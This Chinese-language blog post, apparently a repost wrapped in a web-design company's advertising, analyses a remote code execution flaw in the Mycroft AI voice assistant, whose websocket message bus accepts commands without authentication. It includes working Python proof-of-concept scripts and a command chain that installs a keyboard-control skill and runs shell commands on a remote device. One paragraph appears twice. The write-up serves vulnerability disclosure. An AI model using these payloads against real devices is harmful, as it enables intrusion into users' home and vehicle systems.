本篇文章給大家分享的是有關(guān)如何進(jìn)行Mycroft AI的遠(yuǎn)程代碼執(zhí)行漏洞分析,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
成都創(chuàng)新互聯(lián)公司是專業(yè)的子洲網(wǎng)站建設(shè)公司,子洲接單;提供網(wǎng)站設(shè)計、成都網(wǎng)站設(shè)計,網(wǎng)頁設(shè)計,網(wǎng)站設(shè)計,建網(wǎng)站,PHP網(wǎng)站建設(shè)等專業(yè)做網(wǎng)站服務(wù);采用PHP框架,可快速的進(jìn)行子洲網(wǎng)站開發(fā)網(wǎng)頁制作和功能擴(kuò)展;專業(yè)做搜索引擎喜愛的網(wǎng)站,專業(yè)的做網(wǎng)站團(tuán)隊,希望更多企業(yè)前來合作!
當(dāng)我在Arch Linux社區(qū)開源軟件包的開發(fā)貢獻(xiàn)過程中,發(fā)現(xiàn)了一個很有意思的項目-麥考夫Mycroft AI,它是一款開源且基于人工智能(AI)的語音助理應(yīng)用,在對它的研究過程中,我發(fā)現(xiàn)了一個不用點擊交互即可實現(xiàn)的遠(yuǎn)程代碼執(zhí)行漏洞(RCE)。
與業(yè)界有名的Amazon Echo和Google Home不同的是,Mycroft最早于2015年開始在海外網(wǎng)站發(fā)起眾籌來批量生產(chǎn)其Mark-I 和 Mark-II 代產(chǎn)品,而3月份其Mark-II代產(chǎn)品上線4天后就被售罄脫銷。Mycroft AI智能語音助理基于Linux Desktop/Server和Raspberry PI架構(gòu),現(xiàn)廣泛用于智能自動化家居系統(tǒng)中,其新款應(yīng)用將訂制化應(yīng)用于捷豹和路虎的某些車型中。
在對Mycroft AI的源代碼分析中,我發(fā)現(xiàn)了其中有意思的一個地方:
...
host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [
(route, WebsocketEventHandler)
]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()
...
在這里它定義了一個websocket服務(wù)端,用來接收類似于Andriod遠(yuǎn)程客戶端的指令,在mycroft.conf中給出了websocket服務(wù)端設(shè)置的具體定義:
// The mycroft-core messagebus' websocket
"websocket": {
"host": "0.0.0.0",
"port": 8181,
"route": "/core",
"ssl": false
},
從以上代碼可知,在0.0.0.0:8181/core上默認(rèn)的websocket服務(wù)端竟然無需任何身份驗證,好吧,讓我們寫個腳本來測試一下:
#!/usr/bin/env python
import asyncio
import websockets
uri = "ws://myserver:8181/core"
command = "say pwned"
async def sendPayload():
async with websockets.connect(uri) as websocket:
await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]},
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
asyncio.get_event_loop().run_until_complete(sendPayload())
很好,我們能讓Mycroft AI自己說 "pwned",這樣,我們也能讓Mycroft AI遠(yuǎn)程發(fā)聲,但這也不算是什么大發(fā)現(xiàn),最多也只能嚇唬一下朋友而已。
深入挖掘之后,可以發(fā)現(xiàn)Mycroft內(nèi)置了一個技能系統(tǒng),可以在其基礎(chǔ)上安裝其它你想要的語音技能,聽起來很好,不是嗎?
那么,Mycroft的一種技能是由哪些元素組成的呢?從給出的說明文檔可以看到,Mycroft的技能元素如下:
dialog/en-us/command.dialog: 包含了能觸發(fā)技能的語音命令
vocab/en-us/answer.voc: 包含了Mycroft發(fā)聲的答案
requirements.txt: 包含了由 pip 方式安裝的技能所需安裝包
__int__.py:包含了技能的主函數(shù)和觸發(fā)執(zhí)行時的需要加載的命令
有了以上技能元素之后,我就可以創(chuàng)建一個惡意技能,當(dāng)它被觸發(fā)之后,就可以在遠(yuǎn)程Mycroft設(shè)備上來執(zhí)行任意代碼了。但遺憾的是,這樣的方式并不能通過語音命令來實現(xiàn),除非其技能鏈接URL未被一些在線網(wǎng)站白名單化。這雖然有可能,但多少有些麻煩。
有了以上技能元素之后,我就可以創(chuàng)建一個惡意技能,當(dāng)它被觸發(fā)之后,就可以在遠(yuǎn)程Mycroft設(shè)備上來執(zhí)行任意代碼了。但遺憾的是,這樣的方式并不能通過語音命令來實現(xiàn),除非其技能鏈接URL是一些未被白名單化的在線網(wǎng)站。這雖然有可能,但執(zhí)行起來多少有些麻煩。
Mycroft 內(nèi)置了很多默認(rèn)技能,如 open 這種能打開其它第三方應(yīng)用的,還有一些經(jīng)過白名單化但未被安裝在Mycroft設(shè)備上的技能。通過再次研究,我發(fā)現(xiàn)了一個名為skill-autogui的有趣技能,它的主要功能是對鼠標(biāo)鍵盤的控制,好吧,我們就用它來試試!把所有以上可利用的發(fā)現(xiàn)組合成一個PoC:
#!/usr/bin/env python
import sys
import asyncio
import websockets
import time
cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"
async def sendPayload():
for payload in cmds:
async with websockets.connect(uri) as websocket:
await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]},
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
time.sleep(1)
asyncio.get_event_loop().run_until_complete(sendPayload())
用 pwn.py "install autogui" "open xterm" "type echo pwned" "press enter" 命令運行exploit代碼之后,就能在一臺遠(yuǎn)程Mycroft設(shè)備的Linux系統(tǒng)上執(zhí)行命令:
Notes:
open xterm:由于我的測試用Linux是桌面版的,所以,遠(yuǎn)程測試機(jī)也是直接通過終端TTY來執(zhí)行的;
目前,Mycroft的技能分支包存在一個比較大的變化,包括autogui在內(nèi)的一些技能是暫不可用的,但這不是重點。Mycroft的許多技能可于智能自動化家居系統(tǒng)進(jìn)行交互,所以,它的其它服務(wù)或許也存在可被控制利用的可能。這個漏洞的關(guān)鍵在于,其中websocket服務(wù)端缺乏必要的身份驗證。
所有搭載有Mycroft,且websocket服務(wù)端暴露在網(wǎng)的設(shè)備(Mark-I代應(yīng)用的websocket接口默認(rèn)在防火墻之后)
以上就是如何進(jìn)行Mycroft AI的遠(yuǎn)程代碼執(zhí)行漏洞分析,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降摹OM隳芡ㄟ^這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。